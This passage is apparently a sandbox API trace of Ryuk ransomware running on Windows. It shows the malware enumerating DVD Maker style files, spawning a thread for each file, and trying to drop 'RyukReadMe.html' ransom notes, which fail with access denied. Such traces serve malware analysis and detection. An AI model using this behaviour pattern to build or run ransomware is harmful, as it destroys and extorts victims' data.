	[0184.241] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.241] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0184.241] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdec
	[0184.244] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.244] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0184.244] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xddc
	[0184.246] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.247] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x76, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0184.247] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd8
	[0184.249] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.249] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x76, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1
	[0184.249] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde0
	[0184.251] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.252] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x76, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1
	[0184.252] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde8
	[0184.256] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.256] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x76, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1
	[0184.257] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde4
	[0184.260] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.260] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x76, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0
	[0184.260] FindClose (in: hFindFile=0x7a460 | out: hFindFile=0x7a460) returned 1
	[0184.263] SetLastError (dwErrCode=0x0) 
	[0184.263] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.273] GetLastError () returned 0x5
	[0184.273] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0184.273] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.274] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1
	[0184.274] SetLastError (dwErrCode=0x0) 
	[0184.274] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0184.274] GetLastError () returned 0x5
	[0184.274] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0184.274] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0184.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a460
	[0184.288] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0184.288] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x76, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1
	[0184.288] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc8
	[0184.291] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.292] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x76, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1
	[0184.292] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc4
	[0184.295] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.296] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x76, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1
	[0184.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe14
	[0184.298] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.299] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1
	[0184.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe10
	[0184.301] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.302] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0184.302] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0184.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe0c
	[0185.005] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.006] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x76, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0185.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc0
	[0185.010] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.011] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x76, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0185.011] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe68
	[0185.013] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.014] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x76, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1
	[0185.014] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe6c
	[0185.016] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.017] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x76, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1
	[0185.017] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdbc
	[0185.020] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.021] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x76, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1
	[0185.021] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8c
	[0185.024] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.025] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1
	[0185.025] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe18
	[0185.027] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.028] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0185.028] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe08
	[0185.031] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.032] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0185.032] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe64
	[0185.035] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.036] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0185.036] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe70
	[0185.039] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.039] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0185.039] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe1c
	[0185.359] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0185.359] FindNextFileW (in: hFindFile=0x7a460, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0185.359] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0185.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe74
	[0185.362] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
